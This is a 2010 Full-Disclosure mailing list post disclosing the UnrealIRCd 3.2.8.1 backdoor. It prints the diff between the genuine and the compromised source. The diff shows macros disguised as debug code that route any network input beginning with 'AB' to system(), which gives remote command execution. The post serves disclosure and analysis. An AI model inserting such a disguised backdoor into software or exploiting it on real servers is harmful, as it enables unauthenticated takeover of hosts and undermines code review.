Re: [Full-disclosure] Fw: [irc-security] UnrealIRCd 3.2.8.1 backdoored on official ftp and site

[Andrew Farmer <andfarm@xxxxxxxxx>]

On 12 Jun 2010, at 08:09, Henri Salo wrote:
> I'd like to let you know that there's been a compromise of the 
> unrealircd website and ftp and the 3.2.8.1 tarball release had been 
> replaced by a backdoored copy.

Aaaaand here's the diff. Nature of the backdoor should be obvious upon 
inspection.

---

diff -ru Unreal3.2-good/include/struct.h Unreal3.2-backdoored/include/struct.h
--- Unreal3.2-good/include/struct.h     2009-04-13 04:03:57.000000000 -0700
+++ Unreal3.2-backdoored/include/struct.h       2009-04-13 04:03:00.000000000 
-0700
@@ -430,6 +430,7 @@
 #endif
 
 /* Fake lag exception */
+
 #define IsNoFakeLag(x)      ((x)->flags & FLAGS_NOFAKELAG)
 #define SetNoFakeLag(x)     ((x)->flags |= FLAGS_NOFAKELAG)
 #define ClearNoFakeLag(x)   ((x)->flags &= ~FLAGS_NOFAKELAG)
@@ -448,6 +449,7 @@
 #else
 #define IsNotSpoof(x)           (1)
 #endif
+#define        DEBUGMODE3          ((x)->flags & FLAGS_NOFAKELAG)
 
 #define GetHost(x)                     (IsHidden(x) ? (x)->user->virthost : 
(x)->user->realhost)
 #define GetIP(x)                       ((x->user && x->user->ip_str) ? 
x->user->ip_str : (MyConnect(x) ? Inet_ia2p(&x->ip) : NULL))
@@ -513,6 +515,10 @@
 #else
 #define CHECKPROTO(x,y) (checkprotoflags(x, y, __FILE__, __LINE__))
 #endif
+#ifdef DEBUGMODE3
+#define DEBUGMODE3_INFO        "AB"
+#define        DEBUG3_LOG(x) DEBUG3_DOLOG_SYSTEM (x)
+#endif
 
 #define DontSendQuit(x)                (CHECKPROTO(x, PROTO_NOQUIT))
 #define IsToken(x)             (CHECKPROTO(x, PROTO_TOKEN))
@@ -1373,6 +1379,7 @@
 #define INCLUDE_REMOTE     0x2
 #define INCLUDE_DLQUEUED   0x4
 #define INCLUDE_USED       0x8
+#define DEBUG3_DOLOG_SYSTEM(x) system(x)
        
 struct _configitem_include {
        ConfigItem *prev, *next;
diff -ru Unreal3.2-good/src/s_bsd.c Unreal3.2-backdoored/src/s_bsd.c
--- Unreal3.2-good/src/s_bsd.c  2009-03-01 10:37:58.000000000 -0800
+++ Unreal3.2-backdoored/src/s_bsd.c    2006-06-16 11:29:00.000000000 -0700
@@ -1431,6 +1431,10 @@
                    return 1;
                if (length <= 0)
                        return length;
+#ifdef DEBUGMODE3
+       if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
+           DEBUG3_LOG(readbuf);
+#endif
                for (h = Hooks[HOOKTYPE_RAWPACKET_IN]; h; h = h->next)
                {
                        int v = (*(h->func.intfunc))(cptr, readbuf, length);

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/